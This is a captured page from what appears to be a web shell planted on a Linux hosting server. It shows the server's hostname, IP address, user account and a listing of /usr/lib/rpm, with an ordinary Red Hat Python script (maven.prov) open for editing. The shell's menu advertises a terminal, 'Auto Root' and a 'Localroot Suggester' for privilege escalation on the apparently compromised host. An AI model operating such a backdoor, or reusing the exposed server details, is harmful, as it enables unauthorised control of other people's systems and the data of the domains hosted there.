Linux host2.healingcodesinfo.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
Apache
Server IP : 69.167.168.125 & Your IP : 216.73.216.208
Domains : 126 Domain
User : christia
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
rpm /
Delete
Unzip
Name
Size
Permission
Date
Action
fileattrs
[ DIR ]
drwxr-xr-x
2021-01-13 19:34
macros.d
[ DIR ]
drwxr-xr-x
2024-07-06 04:35
platform
[ DIR ]
drwxr-xr-x
2021-11-24 16:33
javadoc.req
76
B
-rwxr-xr-x
2013-11-05 15:22
macros
37.33
KB
-rw-r--r--
2021-11-24 16:33
maven.prov
3.67
KB
-rwxr-xr-x
2013-11-05 15:22
maven.req
7.75
KB
-rwxr-xr-x
2013-11-05 15:22
osgi.prov
3.51
KB
-rwxr-xr-x
2013-11-05 15:22
osgi.req
3.79
KB
-rwxr-xr-x
2013-11-05 15:22
rpm.daily
296
B
-rw-r--r--
2021-11-24 16:33
rpm.log
61
B
-rw-r--r--
2021-11-24 16:33
rpm.supp
688
B
-rw-r--r--
2021-11-24 16:33
rpm2cpio.sh
1.3
KB
-rwxr-xr-x
2021-11-24 16:33
rpmdb_dump
15.33
KB
-rwxr-xr-x
2019-08-09 00:18
rpmdb_load
27.51
KB
-rwxr-xr-x
2019-08-09 00:18
rpmdb_loadcvt
1.43
KB
-rwxr-xr-x
2021-11-24 16:33
rpmdb_recover
11.33
KB
-rwxr-xr-x
2019-08-09 00:18
rpmdb_stat
15.26
KB
-rwxr-xr-x
2019-08-09 00:18
rpmdb_upgrade
11.23
KB
-rwxr-xr-x
2019-08-09 00:18
rpmdb_verify
11.25
KB
-rwxr-xr-x
2019-08-09 00:18
rpmpopt-4.11.3
9.51
KB
-rw-r--r--
2021-11-24 16:33
rpmrc
15.01
KB
-rw-r--r--
2021-11-24 16:33
tgpg
929
B
-rwxr-xr-x
2021-11-24 16:33
Save
Rename
#!/usr/bin/python # Copyright (c) 2012, Red Hat, Inc # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # # 1. Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the # distribution. # 3. Neither the name of Red Hat nor the names of its # contributors may be used to endorse or promote products derived # from this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # # Authors: Alexander Kurtakov <akurtako@redhat.com> # Stanislav Ochotnicky <sochotnicky@redhat.com> import os import signal import sys import traceback from javapackages import Depmap, Artifact class TagBuilder: def __init__ (self, filelist=None): if filelist == None: filelist = sys.stdin paths = map (lambda x: x.rstrip (), filelist.readlines ()) for path in paths: depmap = Depmap(path) for m_artifact, l_artifact in depmap.get_provided_mappings(): prov_artifact = m_artifact if l_artifact.version: prov_artifact = Artifact(m_artifact.groupId, m_artifact.artifactId, extension=m_artifact.extension, classifier=m_artifact.classifier, version=l_artifact.version, namespace=l_artifact.namespace) if prov_artifact.extension == 'jar': prov_artifact.extension = '' print("{rpmstr} = {version}".format( rpmstr=prov_artifact.get_rpm_str(depmap.is_compat()), version=m_artifact.version )) # preserve compatibility and generate simple mvn(g:a) provides # for pom artifacts ns = l_artifact.namespace if prov_artifact.extension == 'pom': print("{ns}mvn({gid}:{aid}) = {version}".format( ns=(ns + "-") if ns else "", gid=prov_artifact.groupId, aid=prov_artifact.artifactId, version=m_artifact.version)) if __name__ == "__main__": try: builder = TagBuilder () except Exception, e: traceback.print_exc(file=sys.stderr) sys.stderr.write(str(e)) # rpmbuild ignores non-zero exit codes but this that is bad. Make sure # the build fails and doesn't silently ignore problems os.kill(os.getppid(), signal.SIGKILL)